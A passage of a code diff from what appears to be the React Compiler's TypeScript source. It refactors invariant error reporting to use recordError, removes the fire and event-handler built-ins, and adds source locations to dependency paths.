@@ -1737,15 +1718,7 @@ export type BlockId = number & {[opaqueBlockId]: 'BlockId'};
|
||||
export function makeBlockId(id: number): BlockId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected block id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as BlockId;
|
||||
}
|
||||
@@ -1760,15 +1733,7 @@ export type ScopeId = number & {[opaqueScopeId]: 'ScopeId'};
|
||||
export function makeScopeId(id: number): ScopeId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected block id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as ScopeId;
|
||||
}
|
||||
@@ -1783,15 +1748,7 @@ export type IdentifierId = number & {[opaqueIdentifierId]: 'IdentifierId'};
|
||||
export function makeIdentifierId(id: number): IdentifierId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected identifier id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as IdentifierId;
|
||||
}
|
||||
@@ -1806,15 +1763,7 @@ export type DeclarationId = number & {[opageDeclarationId]: 'DeclarationId'};
|
||||
export function makeDeclarationId(id: number): DeclarationId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected declaration id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as DeclarationId;
|
||||
}
|
||||
@@ -1829,15 +1778,7 @@ export type InstructionId = number & {[opaqueInstructionId]: 'IdentifierId'};
|
||||
export function makeInstructionId(id: number): InstructionId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected instruction id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as InstructionId;
|
||||
}
|
||||
@@ -1948,12 +1889,6 @@ export function isDispatcherType(id: Identifier): boolean {
|
||||
return id.type.kind === 'Function' && id.type.shapeId === 'BuiltInDispatch';
|
||||
}
|
||||
|
||||
export function isFireFunctionType(id: Identifier): boolean {
|
||||
return (
|
||||
id.type.kind === 'Function' && id.type.shapeId === 'BuiltInFireFunction'
|
||||
);
|
||||
}
|
||||
|
||||
export function isEffectEventFunctionType(id: Identifier): boolean {
|
||||
return (
|
||||
id.type.kind === 'Function' &&
|
||||
|
||||
@@ -7,7 +7,12 @@
|
||||
|
||||
import {Binding, NodePath} from '@babel/traverse';
|
||||
import * as t from '@babel/types';
|
||||
import {CompilerError, ErrorCategory} from '../CompilerError';
|
||||
import {
|
||||
CompilerError,
|
||||
CompilerDiagnostic,
|
||||
CompilerErrorDetail,
|
||||
ErrorCategory,
|
||||
} from '../CompilerError';
|
||||
import {Environment} from './Environment';
|
||||
import {
|
||||
BasicBlock,
|
||||
@@ -110,7 +115,6 @@ export default class HIRBuilder {
|
||||
#bindings: Bindings;
|
||||
#env: Environment;
|
||||
#exceptionHandlerStack: Array<BlockId> = [];
|
||||
errors: CompilerError = new CompilerError();
|
||||
/**
|
||||
* Traversal context: counts the number of `fbt` tag parents
|
||||
* of the current babel node.
|
||||
@@ -148,6 +152,10 @@ export default class HIRBuilder {
|
||||
this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');
|
||||
}
|
||||
|
||||
recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
|
||||
this.#env.recordError(error);
|
||||
}
|
||||
|
||||
currentBlockKind(): BlockKind {
|
||||
return this.#current.kind;
|
||||
}
|
||||
@@ -308,34 +316,28 @@ export default class HIRBuilder {
|
||||
|
||||
resolveBinding(node: t.Identifier): Identifier {
|
||||
if (node.name === 'fbt') {
|
||||
CompilerError.throwDiagnostic({
|
||||
category: ErrorCategory.Todo,
|
||||
reason: 'Support local variables named `fbt`',
|
||||
description:
|
||||
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
message: 'Rename to avoid conflict with fbt plugin',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
},
|
||||
],
|
||||
});
|
||||
this.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.Todo,
|
||||
reason: 'Support local variables named `fbt`',
|
||||
description:
|
||||
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
}
|
||||
if (node.name === 'this') {
|
||||
CompilerError.throwDiagnostic({
|
||||
category: ErrorCategory.UnsupportedSyntax,
|
||||
reason: '`this` is not supported syntax',
|
||||
description:
|
||||
'React Compiler does not support compiling functions that use `this`',
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
message: '`this` was used here',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
},
|
||||
],
|
||||
});
|
||||
this.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.UnsupportedSyntax,
|
||||
reason: '`this` is not supported syntax',
|
||||
description:
|
||||
'React Compiler does not support compiling functions that use `this`',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
}
|
||||
const originalName = node.name;
|
||||
let name = originalName;
|
||||
@@ -381,12 +383,15 @@ export default class HIRBuilder {
|
||||
instr => instr.value.kind === 'FunctionExpression',
|
||||
)
|
||||
) {
|
||||
CompilerError.throwTodo({
|
||||
reason: `Support functions with unreachable code that may contain hoisted declarations`,
|
||||
loc: block.instructions[0]?.loc ?? block.terminal.loc,
|
||||
description: null,
|
||||
suggestions: null,
|
||||
});
|
||||
this.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: `Support functions with unreachable code that may contain hoisted declarations`,
|
||||
loc: block.instructions[0]?.loc ?? block.terminal.loc,
|
||||
description: null,
|
||||
suggestions: null,
|
||||
category: ErrorCategory.Todo,
|
||||
}),
|
||||
);
|
||||
}
|
||||
}
|
||||
ir.blocks = rpoBlocks;
|
||||
@@ -506,15 +511,7 @@ export default class HIRBuilder {
|
||||
last.breakBlock === breakBlock,
|
||||
{
|
||||
reason: 'Mismatched label',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
return value;
|
||||
@@ -535,15 +532,7 @@ export default class HIRBuilder {
|
||||
last.breakBlock === breakBlock,
|
||||
{
|
||||
reason: 'Mismatched label',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
return value;
|
||||
@@ -577,15 +566,7 @@ export default class HIRBuilder {
|
||||
last.breakBlock === breakBlock,
|
||||
{
|
||||
reason: 'Mismatched loops',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
return value;
|
||||
@@ -608,15 +589,7 @@ export default class HIRBuilder {
|
||||
}
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Expected a loop or switch to be in scope',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -635,29 +608,13 @@ export default class HIRBuilder {
|
||||
} else if (label !== null && scope.label === label) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Continue may only refer to a labeled loop',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Expected a loop to be in scope',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -678,15 +635,7 @@ function _shrink(func: HIR): void {
|
||||
const block = func.blocks.get(blockId);
|
||||
CompilerError.invariant(block != null, {
|
||||
reason: `expected block ${blockId} to exist`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
target = getTargetIfIndirection(block);
|
||||
if (target !== null) {
|
||||
@@ -817,13 +766,7 @@ function getReversePostorderedBlocks(func: HIR): HIR['blocks'] {
|
||||
CompilerError.invariant(block != null, {
|
||||
reason: '[HIRBuilder] Unexpected null block',
|
||||
description: `expected block ${blockId} to exist`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
const successors = [...eachTerminalSuccessor(block.terminal)].reverse();
|
||||
const fallthrough = terminalFallthrough(block.terminal);
|
||||
@@ -878,15 +821,7 @@ export function markInstructionIds(func: HIR): void {
|
||||
for (const instr of block.instructions) {
|
||||
CompilerError.invariant(!visited.has(instr), {
|
||||
reason: `${printInstruction(instr)} already visited!`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instr.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: instr.loc,
|
||||
});
|
||||
visited.add(instr);
|
||||
instr.id = makeInstructionId(++id);
|
||||
@@ -908,13 +843,7 @@ export function markPredecessors(func: HIR): void {
|
||||
CompilerError.invariant(block != null, {
|
||||
reason: 'unexpected missing block',
|
||||
description: `block ${blockId}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (prevBlock) {
|
||||
block.preds.add(prevBlock.id);
|
||||
|
||||
@@ -60,15 +60,7 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
|
||||
const predecessor = fn.body.blocks.get(predecessorId);
|
||||
CompilerError.invariant(predecessor !== undefined, {
|
||||
reason: `Expected predecessor ${predecessorId} to exist`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (predecessor.terminal.kind !== 'goto' || predecessor.kind !== 'block') {
|
||||
/*
|
||||
@@ -82,15 +74,7 @@ export function mergeConsecutiveBlocks(fn: HIRFunction): void {
|
||||
for (const phi of block.phis) {
|
||||
CompilerError.invariant(phi.operands.size === 1, {
|
||||
reason: `Found a block with a single predecessor but where a phi has multiple (${phi.operands.size}) operands`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
const operand = Array.from(phi.operands.values())[0]!;
|
||||
const lvalue: Place = {
|
||||
|
||||
@@ -119,13 +119,7 @@ function parseAliasingSignatureConfig(
|
||||
CompilerError.invariant(!lifetimes.has(temp), {
|
||||
reason: `Invalid type configuration for module`,
|
||||
description: `Expected aliasing signature to have unique names for receiver, params, rest, returns, and temporaries in module '${moduleName}'`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc,
|
||||
});
|
||||
const place = signatureArgument(lifetimes.size);
|
||||
lifetimes.set(temp, place);
|
||||
@@ -136,13 +130,7 @@ function parseAliasingSignatureConfig(
|
||||
CompilerError.invariant(place != null, {
|
||||
reason: `Invalid type configuration for module`,
|
||||
description: `Expected aliasing signature effects to reference known names from receiver/params/rest/returns/temporaries, but '${temp}' is not a known name in '${moduleName}'`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc,
|
||||
});
|
||||
return place;
|
||||
}
|
||||
@@ -276,15 +264,7 @@ function addShape(
|
||||
|
||||
CompilerError.invariant(!registry.has(id), {
|
||||
reason: `[ObjectShape] Could not add shape to registry: name ${id} already exists.`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
registry.set(id, shape);
|
||||
return shape;
|
||||
@@ -403,12 +383,8 @@ export const BuiltInUseTransitionId = 'BuiltInUseTransition';
|
||||
export const BuiltInUseOptimisticId = 'BuiltInUseOptimistic';
|
||||
export const BuiltInSetOptimisticId = 'BuiltInSetOptimistic';
|
||||
export const BuiltInStartTransitionId = 'BuiltInStartTransition';
|
||||
export const BuiltInFireId = 'BuiltInFire';
|
||||
export const BuiltInFireFunctionId = 'BuiltInFireFunction';
|
||||
export const BuiltInUseEffectEventId = 'BuiltInUseEffectEvent';
|
||||
export const BuiltInEffectEventId = 'BuiltInEffectEventFunction';
|
||||
export const BuiltInAutodepsId = 'BuiltInAutoDepsId';
|
||||
export const BuiltInEventHandlerId = 'BuiltInEventHandlerId';
|
||||
|
||||
// See getReanimatedModuleType() in Globals.ts — this is part of supporting Reanimated's ref-like types
|
||||
export const ReanimatedSharedValueId = 'ReanimatedSharedValueId';
|
||||
@@ -1269,19 +1245,6 @@ addFunction(
|
||||
BuiltInEffectEventId,
|
||||
);
|
||||
|
||||
addFunction(
|
||||
BUILTIN_SHAPES,
|
||||
[],
|
||||
{
|
||||
positionalParams: [],
|
||||
restParam: Effect.ConditionallyMutate,
|
||||
returnType: {kind: 'Poly'},
|
||||
calleeEffect: Effect.ConditionallyMutate,
|
||||
returnValueKind: ValueKind.Mutable,
|
||||
},
|
||||
BuiltInEventHandlerId,
|
||||
);
|
||||
|
||||
/**
|
||||
* MixedReadOnly =
|
||||
* | primitive
|
||||
|
||||
@@ -291,7 +291,9 @@ export function printTerminal(terminal: Terminal): Array<string> | string {
|
||||
break;
|
||||
}
|
||||
case 'maybe-throw': {
|
||||
value = `[${terminal.id}] MaybeThrow continuation=bb${terminal.continuation} handler=bb${terminal.handler}`;
|
||||
const handlerStr =
|
||||
terminal.handler !== null ? `bb${terminal.handler}` : '(none)';
|
||||
value = `[${terminal.id}] MaybeThrow continuation=bb${terminal.continuation} handler=${handlerStr}`;
|
||||
if (terminal.effects != null) {
|
||||
value += `\n ${terminal.effects.map(printAliasingEffect).join('\n ')}`;
|
||||
}
|
||||
@@ -598,15 +600,7 @@ export function printInstructionValue(instrValue: ReactiveValue): string {
|
||||
instrValue.subexprs.length === instrValue.quasis.length - 1,
|
||||
{
|
||||
reason: 'Bad assumption about quasi length.',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: instrValue.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: instrValue.loc,
|
||||
},
|
||||
);
|
||||
for (let i = 0; i < instrValue.subexprs.length; i++) {
|
||||
@@ -874,15 +868,7 @@ export function printManualMemoDependency(
|
||||
} else {
|
||||
CompilerError.invariant(val.root.value.identifier.name?.kind === 'named', {
|
||||
reason: 'DepsValidation: expected named local variable in depslist',
|
||||
description: null,
|
||||
suggestions: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: val.root.value.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: val.root.value.loc,
|
||||
});
|
||||
rootStr = nameOnly
|
||||
? val.root.value.identifier.name.value
|
||||
|
||||
@@ -31,6 +31,7 @@ import {
|
||||
ObjectMethod,
|
||||
PropertyLiteral,
|
||||
convertHoistedLValueKind,
|
||||
SourceLocation,
|
||||
} from './HIR';
|
||||
import {
|
||||
collectHoistablePropertyLoads,
|
||||
@@ -86,14 +87,7 @@ export function propagateScopeDependenciesHIR(fn: HIRFunction): void {
|
||||
const hoistables = hoistablePropertyLoads.get(scope.id);
|
||||
CompilerError.invariant(hoistables != null, {
|
||||
reason: '[PropagateScopeDependencies] Scope not found in tracked blocks',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
/**
|
||||
* Step 2: Calculate hoistable dependencies.
|
||||
@@ -305,6 +299,7 @@ function collectTemporariesSidemapImpl(
|
||||
value.object,
|
||||
value.property,
|
||||
false,
|
||||
value.loc,
|
||||
temporaries,
|
||||
);
|
||||
temporaries.set(lvalue.identifier.id, property);
|
||||
@@ -325,6 +320,7 @@ function collectTemporariesSidemapImpl(
|
||||
identifier: value.place.identifier,
|
||||
reactive: value.place.reactive,
|
||||
path: [],
|
||||
loc: value.loc,
|
||||
});
|
||||
}
|
||||
} else if (
|
||||
@@ -346,6 +342,7 @@ function getProperty(
|
||||
object: Place,
|
||||
propertyName: PropertyLiteral,
|
||||
optional: boolean,
|
||||
loc: SourceLocation,
|
||||
temporaries: ReadonlyMap<IdentifierId, ReactiveScopeDependency>,
|
||||
): ReactiveScopeDependency {
|
||||
/*
|
||||
@@ -378,13 +375,18 @@ function getProperty(
|
||||
property = {
|
||||
identifier: object.identifier,
|
||||
reactive: object.reactive,
|
||||
path: [{property: propertyName, optional}],
|
||||
path: [{property: propertyName, optional, loc}],
|
||||
loc,
|
||||
};
|
||||
} else {
|
||||
property = {
|
||||
identifier: resolvedDependency.identifier,
|
||||
reactive: resolvedDependency.reactive,
|
||||
path: [...resolvedDependency.path, {property: propertyName, optional}],
|
||||
path: [
|
||||
...resolvedDependency.path,
|
||||
{property: propertyName, optional, loc},
|
||||
],
|
||||
loc,
|
||||
};
|
||||
}
|
||||
return property;
|
||||
@@ -435,14 +437,7 @@ export class DependencyCollectionContext {
|
||||
const scopedDependencies = this.#dependencies.value;
|
||||
CompilerError.invariant(scopedDependencies != null, {
|
||||
reason: '[PropagateScopeDeps]: Unexpected scope mismatch',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: scope.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: scope.loc,
|
||||
});
|
||||
|
||||
// Restore context of previous scope
|
||||
@@ -551,6 +546,7 @@ export class DependencyCollectionContext {
|
||||
identifier: place.identifier,
|
||||
reactive: place.reactive,
|
||||
path: [],
|
||||
loc: place.loc,
|
||||
},
|
||||
);
|
||||
}
|
||||
@@ -559,11 +555,13 @@ export class DependencyCollectionContext {
|
||||
object: Place,
|
||||
property: PropertyLiteral,
|
||||
optional: boolean,
|
||||
loc: SourceLocation,
|
||||
): void {
|
||||
const nextDependency = getProperty(
|
||||
object,
|
||||
property,
|
||||
optional,
|
||||
loc,
|
||||
this.#temporaries,
|
||||
);
|
||||
this.visitDependency(nextDependency);
|
||||
@@ -616,6 +614,7 @@ export class DependencyCollectionContext {
|
||||
identifier: maybeDependency.identifier,
|
||||
reactive: maybeDependency.reactive,
|
||||
path: [],
|
||||
loc: maybeDependency.loc,
|
||||
};
|
||||
}
|
||||
if (this.#checkValidDependency(maybeDependency)) {
|
||||
@@ -640,6 +639,7 @@ export class DependencyCollectionContext {
|
||||
identifier: place.identifier,
|
||||
reactive: place.reactive,
|
||||
path: [],
|
||||
loc: place.loc,
|
||||
})
|
||||
) {
|
||||
currentScope.reassignments.add(place.identifier);
|
||||
@@ -693,7 +693,7 @@ export function handleInstruction(
|
||||
return;
|
||||
}
|
||||
if (value.kind === 'PropertyLoad') {
|
||||
context.visitProperty(value.object, value.property, false);
|
||||
context.visitProperty(value.object, value.property, false, value.loc);
|
||||
} else if (value.kind === 'StoreLocal') {
|
||||
context.visitOperand(value.value);
|
||||
if (value.lvalue.kind === InstructionKind.Reassign) {
|
||||
|
||||
@@ -53,14 +53,7 @@ export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
|
||||
next.phis.size === 0 && fallthrough.phis.size === 0,
|
||||
{
|
||||
reason: 'Unexpected phis when merging label blocks',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: label.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: label.terminal.loc,
|
||||
},
|
||||
);
|
||||
|
||||
@@ -71,14 +64,7 @@ export function pruneUnusedLabelsHIR(fn: HIRFunction): void {
|
||||
fallthrough.preds.has(nextId),
|
||||
{
|
||||
reason: 'Unexpected block predecessors when merging label blocks',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: label.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: label.terminal.loc,
|
||||
},
|
||||
);
|
||||
|
||||
|
||||
@@ -202,15 +202,7 @@ function writeOptionalDependency(
|
||||
CompilerError.invariant(firstOptional !== -1, {
|
||||
reason:
|
||||
'[ScopeDependencyUtils] Internal invariant broken: expected optional path',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: dep.identifier.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: dep.identifier.loc,
|
||||
});
|
||||
if (firstOptional === dep.path.length - 1) {
|
||||
// Base case: the test block is simple
|
||||
@@ -244,15 +236,7 @@ function writeOptionalDependency(
|
||||
builder.enterReserved(consequent, () => {
|
||||
CompilerError.invariant(testIdentifier !== null, {
|
||||
reason: 'Satisfy type checker',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
|
||||
lowerValueToTemporary(builder, {
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
*/
|
||||
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {PropertyLiteral} from './HIR';
|
||||
import {GeneratedSource, PropertyLiteral} from './HIR';
|
||||
|
||||
export type BuiltInType = PrimitiveType | FunctionType | ObjectType;
|
||||
|
||||
@@ -86,15 +86,7 @@ export type TypeId = number & {[opaqueTypeId]: 'IdentifierId'};
|
||||
export function makeTypeId(id: number): TypeId {
|
||||
CompilerError.invariant(id >= 0 && Number.isInteger(id), {
|
||||
reason: 'Expected instruction id to be a non-negative integer',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
return id as TypeId;
|
||||
}
|
||||
|
||||
@@ -909,7 +909,7 @@ export function mapTerminalSuccessors(
|
||||
}
|
||||
case 'maybe-throw': {
|
||||
const continuation = fn(terminal.continuation);
|
||||
const handler = fn(terminal.handler);
|
||||
const handler = terminal.handler !== null ? fn(terminal.handler) : null;
|
||||
return {
|
||||
kind: 'maybe-throw',
|
||||
continuation,
|
||||
@@ -1083,7 +1083,9 @@ export function* eachTerminalSuccessor(terminal: Terminal): Iterable<BlockId> {
|
||||
}
|
||||
case 'maybe-throw': {
|
||||
yield terminal.continuation;
|
||||
yield terminal.handler;
|
||||
if (terminal.handler !== null) {
|
||||
yield terminal.handler;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'try': {
|
||||
@@ -1260,14 +1262,7 @@ export class ScopeBlockTraversal {
|
||||
CompilerError.invariant(blockInfo.scope.id === top, {
|
||||
reason:
|
||||
'Expected traversed block fallthrough to match top-most active scope',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: block.instructions[0]?.loc ?? block.terminal.id,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: block.instructions[0]?.loc ?? block.terminal.loc,
|
||||
});
|
||||
this.#activeScopes.pop();
|
||||
}
|
||||
@@ -1281,14 +1276,7 @@ export class ScopeBlockTraversal {
|
||||
!this.blockInfos.has(block.terminal.fallthrough),
|
||||
{
|
||||
reason: 'Expected unique scope blocks and fallthroughs',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: block.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: block.terminal.loc,
|
||||
},
|
||||
);
|
||||
this.blockInfos.set(block.terminal.block, {
|
||||
|
||||
@@ -54,7 +54,7 @@ function lowerWithMutationAliasing(fn: HIRFunction): void {
|
||||
deadCodeElimination(fn);
|
||||
const functionEffects = inferMutationAliasingRanges(fn, {
|
||||
isFunctionExpression: true,
|
||||
}).unwrap();
|
||||
});
|
||||
rewriteInstructionKindsBasedOnReassignment(fn);
|
||||
inferReactiveScopeVariables(fn);
|
||||
fn.aliasingEffects = functionEffects;
|
||||
@@ -78,14 +78,7 @@ function lowerWithMutationAliasing(fn: HIRFunction): void {
|
||||
case 'Apply': {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `[AnalyzeFunctions] Expected Apply effects to be replaced with more precise effects`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: effect.function.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: effect.function.loc,
|
||||
});
|
||||
}
|
||||
case 'Mutate':
|
||||
|
||||
@@ -31,7 +31,6 @@ import {
|
||||
makeInstructionId,
|
||||
} from '../HIR';
|
||||
import {createTemporaryPlace, markInstructionIds} from '../HIR/HIRBuilder';
|
||||
import {Result} from '../Utils/Result';
|
||||
|
||||
type ManualMemoCallee = {
|
||||
kind: 'useMemo' | 'useCallback';
|
||||
@@ -74,7 +73,10 @@ export function collectMaybeMemoDependencies(
|
||||
return {
|
||||
root: object.root,
|
||||
// TODO: determine if the access is optional
|
||||
path: [...object.path, {property: value.property, optional}],
|
||||
path: [
|
||||
...object.path,
|
||||
{property: value.property, optional, loc: value.loc},
|
||||
],
|
||||
loc: value.loc,
|
||||
};
|
||||
}
|
||||
@@ -291,7 +293,7 @@ function extractManualMemoizationArgs(
|
||||
instr: TInstruction<CallExpression> | TInstruction<MethodCall>,
|
||||
kind: 'useCallback' | 'useMemo',
|
||||
sidemap: IdentifierSidemap,
|
||||
errors: CompilerError,
|
||||
env: Environment,
|
||||
): {
|
||||
fnPlace: Place;
|
||||
depsList: Array<ManualMemoDependency> | null;
|
||||
@@ -301,7 +303,7 @@ function extractManualMemoizationArgs(
|
||||
Place | SpreadPattern | undefined
|
||||
>;
|
||||
if (fnPlace == null || fnPlace.kind !== 'Identifier') {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected a callback function to be passed to ${kind}`,
|
||||
@@ -333,7 +335,7 @@ function extractManualMemoizationArgs(
|
||||
? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)
|
||||
: null;
|
||||
if (maybeDepsList == null) {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected the dependency list for ${kind} to be an array literal`,
|
||||
@@ -352,7 +354,7 @@ function extractManualMemoizationArgs(
|
||||
for (const dep of maybeDepsList.deps) {
|
||||
const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
|
||||
if (maybeDep == null) {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
|
||||
@@ -386,10 +388,7 @@ function extractManualMemoizationArgs(
|
||||
* This pass also validates that useMemo callbacks return a value (not void), ensuring that useMemo
|
||||
* is only used for memoizing values and not for running arbitrary side effects.
|
||||
*/
|
||||
export function dropManualMemoization(
|
||||
func: HIRFunction,
|
||||
): Result<void, CompilerError> {
|
||||
const errors = new CompilerError();
|
||||
export function dropManualMemoization(func: HIRFunction): void {
|
||||
const isValidationEnabled =
|
||||
func.env.config.validatePreserveExistingMemoizationGuarantees ||
|
||||
func.env.config.validateNoSetStateInRender ||
|
||||
@@ -436,7 +435,7 @@ export function dropManualMemoization(
|
||||
